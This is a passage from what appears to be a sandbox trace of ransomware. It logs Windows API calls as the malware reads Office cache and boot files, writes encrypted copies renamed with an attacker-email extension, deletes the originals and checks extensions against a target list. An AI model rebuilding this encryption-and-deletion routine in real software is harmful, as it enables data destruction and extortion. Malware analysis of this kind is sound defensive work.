CloseHandle (hObject=0x178) returned 1 [0044.887] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x27) returned 1 [0044.887] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0044.888] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.888] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.888] lstrlenW (lpString=".doc") returned 4 [0044.888] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0044.888] lstrlenW (lpString=".docx") returned 5 [0044.888] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0044.888] lstrlenW (lpString=".pdf") returned 4 [0044.888] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0044.888] lstrlenW (lpString=".xls") returned 4 [0044.888] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0044.888] lstrlenW (lpString=".xlsx") returned 5 [0044.888] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0044.888] lstrlenW (lpString=".ppt") returned 4 [0044.888] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0044.888] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.888] lstrlenW (lpString=".zip") returned 4 [0044.888] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0044.889] lstrlenW (lpString=".rar") returned 4 [0044.889] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0044.889] lstrlenW (lpString=".bz2") returned 4 [0044.889] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0044.889] lstrlenW (lpString=".7z") returned 3 [0044.889] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0044.889] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.889] lstrlenW (lpString=".dbf") returned 4 [0044.889] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0044.889] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.889] lstrlenW (lpString=".1cd") returned 4 [0044.889] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0044.889] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.889] lstrlenW (lpString=".jpg") returned 4 [0044.889] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0044.889] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.889] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.889] lstrlenW (lpString=".doc") returned 4 [0044.889] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0044.890] lstrlenW (lpString=".docx") returned 5 [0044.890] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0044.890] lstrlenW (lpString=".pdf") returned 4 [0044.890] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0044.890] lstrlenW (lpString=".xls") returned 4 [0044.890] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0044.890] lstrlenW (lpString=".xlsx") returned 5 [0044.890] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0044.890] lstrlenW (lpString=".ppt") returned 4 [0044.890] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0044.890] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.890] lstrlenW (lpString=".zip") returned 4 [0044.890] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0044.890] lstrlenW (lpString=".rar") returned 4 [0044.890] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0044.890] lstrlenW (lpString=".bz2") returned 4 [0044.890] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0044.890] lstrlenW (lpString=".7z") returned 3 [0044.890] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0044.890] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.890] lstrlenW (lpString=".dbf") returned 4 [0044.890] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0044.891] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.891] lstrlenW (lpString=".1cd") returned 4 [0044.891] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0044.891] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.891] lstrlenW (lpString=".jpg") returned 4 [0044.891] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0044.891] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0044.891] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0044.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.892] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1565) returned 1 [0044.892] CloseHandle (hObject=0x178) returned 1 [0044.893] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0044.893] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.893] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.893] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.407] GetLastError () returned 0x0 [0045.420] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x61d, lpOverlapped=0x0) returned 1 [0045.444] WriteFile (in: hFile=0x1a8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x620, lpOverlapped=0x0) returned 1 [0045.446] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.446] WriteFile (in: hFile=0x1a8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.446] SetEndOfFile (hFile=0x1a8) returned 1 [0045.446] CloseHandle (hObject=0x1a8) returned 1 [0045.447] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.447] SetEndOfFile (hFile=0x178) returned 1 [0045.448] CloseHandle (hObject=0x178) returned 1 [0045.448] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.449] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0045.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.449] lstrlenW (lpString=".doc") returned 4 [0045.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.449] lstrlenW (lpString=".docx") returned 5 [0045.449] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.449] lstrlenW (lpString=".pdf") returned 4 [0045.449] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.449] lstrlenW (lpString=".xls") returned 4 [0045.449] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.450] lstrlenW (lpString=".xlsx") returned 5 [0045.450] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.450] lstrlenW (lpString=".ppt") returned 4 [0045.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.450] lstrlenW (lpString=".zip") returned 4 [0045.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.450] lstrlenW (lpString=".rar") returned 4 [0045.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.450] lstrlenW (lpString=".bz2") returned 4 [0045.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.450] lstrlenW (lpString=".7z") returned 3 [0045.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.450] lstrlenW (lpString=".dbf") returned 4 [0045.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.450] lstrlenW (lpString=".1cd") returned 4 [0045.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.450] lstrlenW (lpString=".jpg") returned 4 [0045.450] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.451] lstrlenW (lpString=".doc") returned 4 [0045.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.451] lstrlenW (lpString=".docx") returned 5 [0045.451] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.451] lstrlenW (lpString=".pdf") returned 4 [0045.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.451] lstrlenW (lpString=".xls") returned 4 [0045.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.451] lstrlenW (lpString=".xlsx") returned 5 [0045.451] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.451] lstrlenW (lpString=".ppt") returned 4 [0045.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.451] lstrlenW (lpString=".zip") returned 4 [0045.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.451] lstrlenW (lpString=".rar") returned 4 [0045.451] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.451] lstrlenW (lpString=".bz2") returned 4 [0045.451] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.451] lstrlenW (lpString=".7z") returned 3 [0045.452] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.452] lstrlenW (lpString=".dbf") returned 4 [0045.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.452] lstrlenW (lpString=".1cd") returned 4 [0045.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0045.452] lstrlenW (lpString=".jpg") returned 4 [0045.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.452] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.452] lstrlenW (lpString="Proof.xml") returned 9 [0045.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0045.453] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1457) returned 1 [0045.453] CloseHandle (hObject=0x178) returned 1 [0045.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0045.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0045.453] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.453] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.454] GetLastError () returned 0x0 [0045.454] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0045.457] WriteFile (in: hFile=0x1a8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0045.459] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.459] WriteFile (in: hFile=0x1a8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.459] SetEndOfFile (hFile=0x1a8) returned 1 [0045.459] CloseHandle (hObject=0x1a8) returned 1 [0045.460] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.460] SetEndOfFile (hFile=0x178) returned 1 [0045.461] CloseHandle (hObject=0x178) returned 1 [0045.461] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.462] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0045.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.462] lstrlenW (lpString=".doc") returned 4 [0045.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.462] lstrlenW (lpString=".docx") returned 5 [0045.462] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.462] lstrlenW (lpString=".pdf") returned 4 [0045.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.462] lstrlenW (lpString=".xls") returned 4 [0045.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.462] lstrlenW (lpString=".xlsx") returned 5 [0045.463] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.463] lstrlenW (lpString=".ppt") returned 4 [0045.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.463] lstrlenW (lpString=".zip") returned 4 [0045.463] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.463] lstrlenW (lpString=".rar") returned 4 [0045.463] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.463] lstrlenW (lpString=".bz2") returned 4 [0045.463] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.463] lstrlenW (lpString=".7z") returned 3 [0045.463] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.463] lstrlenW (lpString=".dbf") returned 4 [0045.463] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.463] lstrlenW (lpString=".1cd") returned 4 [0045.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.463] lstrlenW (lpString=".jpg") returned 4 [0045.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.464] lstrlenW (lpString=".doc") returned 4 [0045.464] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.464] lstrlenW (lpString=".docx") returned 5 [0045.464] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0045.464] lstrlenW (lpString=".pdf") returned 4 [0045.464] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.464] lstrlenW (lpString=".xls") returned 4 [0045.464] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.464] lstrlenW (lpString=".xlsx") returned 5 [0045.464] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0045.464] lstrlenW (lpString=".ppt") returned 4 [0045.464] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.464] lstrlenW (lpString=".zip") returned 4 [0045.464] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.464] lstrlenW (lpString=".rar") returned 4 [0045.464] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.464] lstrlenW (lpString=".bz2") returned 4 [0045.464] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.465] lstrlenW (lpString=".7z") returned 3 [0045.465] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.465] lstrlenW (lpString=".dbf") returned 4 [0045.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.465] lstrlenW (lpString=".1cd") returned 4 [0045.465] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0045.465] lstrlenW (lpString=".jpg") returned 4 [0045.465] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.465] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.465] lstrlenW (lpString="Proof.xml") returned 9 [0045.465] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0045.466] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1458) returned 1 [0045.466] CloseHandle (hObject=0x178) returned 1 [0045.466] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0045.466] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.466] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0045.466] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.466] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.466] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0045.467] GetLastError () returned 0x0 [0045.467] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0045.470] WriteFile (in: hFile=0x1a8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0045.472] ReadFile (in: hFile=0x178, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.472] WriteFile (in: hFile=0x1a8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.472] SetEndOfFile (hFile=0x1a8) returned 1 [0045.472] CloseHandle (hObject=0x1a8) returned 1 [0045.473] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.473] SetEndOfFile (hFile=0x178) returned 1 [0045.612] CloseHandle (hObject=0x178) returned 1 [0045.612] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", 